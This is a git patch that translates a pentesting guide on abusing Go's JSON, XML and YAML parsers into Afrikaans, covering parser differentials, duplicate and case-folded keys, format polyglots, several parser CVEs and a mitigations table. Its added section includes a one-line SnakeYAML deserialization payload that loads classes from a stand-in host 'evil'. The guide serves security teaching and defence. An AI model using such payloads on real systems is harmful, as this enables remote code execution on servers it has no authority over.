From 4d831f46fe81bbe20343e1d2ac24fb46def1e42c Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 20:32:59 +0000 Subject: [PATCH] Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to af --- src/pentesting-web/json-xml-yaml-hacking.md | 73 ++++++++++++++++----- 1 file changed, 55 insertions(+), 18 deletions(-) diff --git a/src/pentesting-web/json-xml-yaml-hacking.md b/src/pentesting-web/json-xml-yaml-hacking.md index ab7ec804c..a4ff79db2 100644 --- a/src/pentesting-web/json-xml-yaml-hacking.md +++ b/src/pentesting-web/json-xml-yaml-hacking.md @@ -6,11 +6,11 @@ Die volgende probleme is in die Go JSON opgespoor, alhoewel dit ook in ander tale teenwoordig kan wees. Hierdie probleme is gepubliseer in [**hierdie blogpos**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/). -Go se JSON, XML, en YAML parsers het 'n lang pad van inkonsekwenties en onveilige standaardinstellings wat misbruik kan word om **authentisering te omseil**, **privileges te eskaleer**, of **sensitiewe data te ekfiltreer**. +Go se JSON, XML, en YAML parsers het 'n lang pad van inkonsekwentheid en onveilige standaardinstellings wat misbruik kan word om **authentisering te omseil**, **privileges te verhoog**, of **sensitiewe data te eksfiltreer**. ### (Un)Marshaling Onverwagte Data -Die doel is om strukture te benut wat 'n aanvaller toelaat om sensitiewe velde te lees/schryf (bv. `IsAdmin`, `Password`). +Die doel is om strukture te benut wat 'n aanvaller toelaat om sensitiewe velde te lees/skryf (bv. `IsAdmin`, `Password`). - Voorbeeld Struktuur: ```go @@ -48,9 +48,9 @@ type User struct { IsAdmin bool `json:"-"` } ``` -### Parser Differentials +### Parser Verskille -Die doel is om outorisasie te omseil deur te benut hoe verskillende parsers dieselfde payload verskillend interpreteer soos in: +Die doel is om outorisasie te omseil deur te profiteer van hoe verskillende parsers dieselfde payload verskillend interpreteer soos in: - CVE-2017-12635: Apache CouchDB omseiling via duplikaat sleutels - 2022: Zoom 0-click RCE via XML parser inkonsekwentheid - GitLab 2025 SAML omseiling via XML quirks @@ -73,7 +73,7 @@ Selfs Unicode truuks werk: ```go json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req) ``` -**3. Kruisdiens-mismatch:** +**3. Kruisdiens wanpassing:** Stel jou voor: - Proxy geskryf in Go - AuthZ diens geskryf in Python @@ -92,15 +92,15 @@ Aanvaller stuur: ### Data Formaat Verwarring (Polyglots) Die doel is om stelsels te exploiteer wat formate meng (JSON/XML/YAML) of wat oopval op parser foute soos: -- **CVE-2020-16250**: HashiCorp Vault het JSON met 'n XML-parser geparseer nadat STS JSON in plaas van XML teruggestuur het. +- **CVE-2020-16250**: HashiCorp Vault het JSON met 'n XML-parser geparsed nadat STS JSON in plaas van XML teruggestuur het. Aanvaller beheer: - Die `Accept: application/json` kop -- Gedeeltelike beheer van die JSON liggaam +- Gedeeltelike beheer van JSON liggaam -Go se XML-parser het dit **tog** geparseer en die ingespoten identiteit vertrou. +Go se XML-parser het dit **tog** geparsed en die ingespoten identiteit vertrou. -- Gemaakte las: +- Gemaakte lasbrief: ```json { "action": "Action_1", @@ -108,21 +108,58 @@ Go se XML-parser het dit **tog** geparseer en die ingespoten identiteit vertrou. "ignored": "Action_3" } ``` -Resultaat: +Result: - **Go JSON** parser: `Action_2` (nie-sensitief + laaste wen) - **YAML** parser: `Action_1` (sensitief) - **XML** parser: parseer `"Action_3"` binne die string +--- -### 🔐 Versagtings +## Opmerklike Parser Kwesbaarhede (2023-2025) -| Risiko | Regstelling | -|-----------------------------|---------------------------------------| -| Onbekende velde | `decoder.DisallowUnknownFields()` | -| Dubbele velde (JSON) | ❌ Geen regstelling in stdlib | -| Nie-sensitiewe ooreenkoms | ❌ Geen regstelling in stdlib | -| XML rommeldata | ❌ Geen regstelling in stdlib | -| YAML: onbekende sleutels | `yaml.KnownFields(true)` | +> Die volgende publiek-exploiteerbare probleme toon dat onveilige parsing 'n multi-taal probleem is — nie net 'n Go probleem nie. +### SnakeYAML Deserialisering RCE (CVE-2022-1471) + +* Raak: `org.yaml:snakeyaml` < **2.0** (gebruik deur Spring-Boot, Jenkins, ens.). +* Wortel oorsaak: `new Constructor()` deserialiseer **arbitraire Java klasse**, wat gadget kettings toelaat wat eindig in afstand-kode uitvoering. +* Een-liner PoC (sal die sakrekenaar op kwesbare gasheer oopmaak): +```yaml +!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] +``` +* Fix / Mitigering: +1. **Opgradeer na ≥2.0** (gebruik `SafeLoader` as standaard). +2. Op ouer weergawes, gebruik eksplisiet `new Yaml(new SafeConstructor())`. + +### libyaml Dubbel-vry (CVE-2024-35325) + +* Raak: `libyaml` ≤0.2.5 (C-biblioteek wat deur baie taalbindings gebruik word). +* Probleem: Die aanroep van `yaml_event_delete()` twee keer lei tot 'n dubbel-vry wat aanvallers kan omskep in DoS of, in sommige scenario's, heap-uitbuiting. +* Status: Upstream verwerp as “API misbruik”, maar Linux verspreidings het 'n gepatchte **0.2.6** gestuur wat die pointer defensief null-vry maak. + +### RapidJSON Heelgetal (Onder|Oor)-vloei (CVE-2024-38517 / CVE-2024-39684) + +* Raak: Tencent **RapidJSON** voor verbintenis `8269bc2` (<1.1.0-patch-22). +* Fout: In `GenericReader::ParseNumber()` onbeheerde wiskunde laat aanvallers toe om enorme numeriese literale te skep wat omhul en die heap korrupteer — uiteindelik wat privilige-eskalasie moontlik maak wanneer die resulterende objekgraf gebruik word vir outoriseringbesluite. + +--- + +### 🔐 Mitigasies (Opgedateer) + +| Risiko | Fix / Aanbeveling | +|-------------------------------------|-----------------------------------------------------------| +| Onbekende velde (JSON) | `decoder.DisallowUnknownFields()` | +| Dubbele velde (JSON) | ❌ Geen oplossing in stdlib — valideer met [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) | +| Hooflettergevoelige ooreenkoms (Go) | ❌ Geen oplossing — valideer struktuurtags + pre-kanaal invoer | +| XML rommeldata / XXE | Gebruik 'n geharde parser (`encoding/xml` + `DisallowDTD`) | +| YAML onbekende sleutels | `yaml.KnownFields(true)` | +| **Onveilige YAML deserialisering** | Gebruik SafeConstructor / opgradeer na SnakeYAML ≥2.0 | +| libyaml ≤0.2.5 dubbel-vry | Opgradeer na **0.2.6** of distro-gepatchte weergawe | +| RapidJSON